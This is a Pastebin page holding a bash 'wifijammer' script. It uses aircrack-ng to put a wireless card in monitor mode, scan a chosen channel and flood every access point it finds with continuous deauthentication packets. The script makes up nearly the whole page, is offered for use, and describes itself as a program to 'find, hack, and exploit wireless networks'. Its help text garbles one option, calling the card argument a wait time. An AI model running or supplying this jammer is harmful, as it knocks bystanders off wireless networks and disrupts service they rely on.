Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- SCAN=0
- VERSION=0.1
- while getopts "w:c:shv" OPTION; do
- case "$OPTION" in
- # This argument sets the amount of time to wait collecting airodump data
- w)
- WIFIVAR=$OPTARG
- ;;
- c)
- NUMBER=$OPTARG
- ;;
- s)
- SCAN=1
- ;;
- h)
- echo -e "wifijammer, version $VERSION
- Usage: $0 [-s] -w [wifi card] -c [channel]
- This is a bash based wifi jammer. It uses your wifi card to continuously send de-authenticate packets to every client on a specified channel... at lest thats what its suppose to do. This program needs the Aircrack-ng suit to function and a wifi card that works with aircrack.
- Options:
- Required:
- -w time to wait in minutes during airodump
- -c channel to scan
- Optional:
- -s scan for wireless networks first
- -h display help message
- -v display version
- Example: $0 -w wlan0 -c 2
- Report bugs to http://code.google.com/p/wifijammer/ -> issues section
- Written by esmith2000@gmail.com"
- exit 1
- ;;
- v)
- echo "$0, version $VERSION"
- ;;
- esac
- done
- if [[ $# -lt 1 ]]; then
- echo -e "wifijammer, $VERSION
- Usage: $0 [-s] -w [wifi card] -c [channel]
- Program to find, hack, and exploit wireless networks.
- Options:
- Required:
- -w time to wait in minutes during airodump
- -c channel to scan
- Optional:
- -s scan for wireless networks first
- -h display help message
- -v display version
- Example: $0 -w wlan0 -c 2
- Report bugs to http://code.google.com/p/wifijammer/ -> issues section
- Written by esmith2000@gmail.com and developers at http://code.google.com/p/wifijammer/"
- exit 1
- fi
- if [[ $WIFIVAR == "" ]]; then
- echo "You must specify the -w option!"
- exit 1
- fi
- if [[ $NUMBER == "" ]] && [[ $SCAN -eq 0 ]]; then
- echo "You must specify a channel with the -c option!"
- exit 1
- fi
- if [[ $SCAN -ne 0 ]] && [[ $NUMBER -ne 0 ]]; then
- echo "You may only specify either -s or -c, not both! Exiting..."
- exit 1
- fi
- if [ x"`which id 2> /dev/null`" != "x" ]; then
- USERID="`id -u 2> /dev/null`"
- fi
- if [ x$USERID = "x" -a x$UID != "x" ]; then
- USERID=$UID
- fi
- if [ x$USERID != "x" -a x$USERID != "x0" ]; then
- #Guess not
- echo Run it as root ; exit ;
- fi
- # Changes working directory to the same as this file
- DIR="$( cd "$( dirname "$0" )" && pwd )"
- cd $DIR
- #Checks if user specified a WIFI card
- if [ x"$WIFIVAR" = x"" ]; then
- echo "No wifi card specified, scanning for available cards (doesnt always work)"
- USWC="no"
- else
- echo "Using user specified wifi card ""$WIFIVAR"
- USWC="yes"
- fi
- if [ x"$USWC" = x"no" ]; then
- # Uses Airmon-ng to scan for available wifi cards.
- airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01
- count=0
- if [ -e "clist" ]; then
- rm clist
- fi
- cat clist01 |while read LINE ; do
- if [ $count -gt 3 ];then
- echo "$LINE" | cut -b 1-7 | tr -d [:space:] >>clist
- count=$((count+1))
- else
- count=$((count+1))
- fi
- done
- rm clist01
- WIFI=`cat clist`
- echo "Using first available Wifi card: `airmon-ng|grep "$WIFI"`"
- echo "If you would like to specify your own card please do so at the command line"
- echo "etc: sudo ./wifijammer_0.1 eth0"
- rm clist
- else
- WIFI="$WIFIVAR"
- fi
- #Check for a wifi card
- if [ x"$WIFI" = x"" ]; then
- #Guess no wifi card was detected
- echo "No wifi card detected. Quitting"
- exit
- fi
- #Start the wireless interface in monitor mode
- if [ x"$airmoncard" != x"1" ]; then
- airmon-ng start $WIFI >tempairmonoutput
- airmoncard="1"
- fi
- #Looks for wifi card thats been set in Monitor mode
- if [ x"$testcommandvar02" = x"" ]; then
- WIFI02=`cat tempairmonoutput | grep "monitor mode enabled on" | cut -b 30-40 | tr -d [:space:] |tr -d ")"`
- if [ x$WIFI02 = x ]; then
- WIFI02=`cat tempairmonoutput | grep "monitor mode enabled" | cut -b 1-5 | tr -d [:space:]`
- fi
- WIFI="$WIFI02"
- rm tempairmonoutput
- fi
- echo "$WIFI"
- # Asks user to specify a channel to jam, or to see a 40 second scan of the area
- #read -p "Please specify a channel to jam, or type in 'scan' (without quotes) to see airodump's output for 40 seconds:" NUMBER
- if [[ $SCAN -eq 1 ]]; then
- # scan was entered, so start airodump-ng in channel hopping mode to scan the area
- airodump-ng $WIFI &
- SCANPID=$!
- sleep 40s
- kill $SCANPID
- sleep 1s
- #Asks user to specify a channel
- read -p "Please specify a channel to jam:" NUMBER
- CHANNEL="$NUMBER"
- fi
- # Launches airodump-ng on specified channel to start gathering a client list
- rm *.csv
- echo "Scanning specified channel"
- airodump-ng -c $NUMBER -w airodumpoutput $WIFI &> /dev/tty2 &
- # Removes temp files that are no longer needed
- rm *.cap 2>/dev/null
- rm *.kismet.csv 2>/dev/null
- rm *.netxml 2>/dev/null
- # Makes a folder that will be needed later
- mkdir stationlist 2>/dev/null
- rm stationlist/*.txt
- # Start a loop so new clients can be added to the jamming list
- while [ x1 ]; do
- sleep 5s
- # Takes appart the list of clients and reorganizes it in to something useful
- cat airodumpoutput*.csv|while read LINE01 ; do
- echo "$LINE01" > tempLINE01
- LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]`
- rm tempLINE01
- # Ignores any blank
- if [ x"$LINE" != x"" ];then
- if [ x"$LINE" = x"StationMAC" ];then
- start="no"
- fi
- if [ x"$start" = x"yes" ];then
- if [ -e stationlist/"$LINE".txt ];then
- echo "" 2>/dev/null
- else
- # Lauches new window with de-authenticate thingy doing it's thing
- echo "Jamming $LINE"
- aireplay-ng --deauth 0 -a $LINE $WIFI &> /dev/tty2 &
- echo "$LINE" > stationlist/$LINE.txt
- fi
- fi
- if [ x"$LINE" = x"BSSID" ];then
- start="yes"
- fi
- fi
- done
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement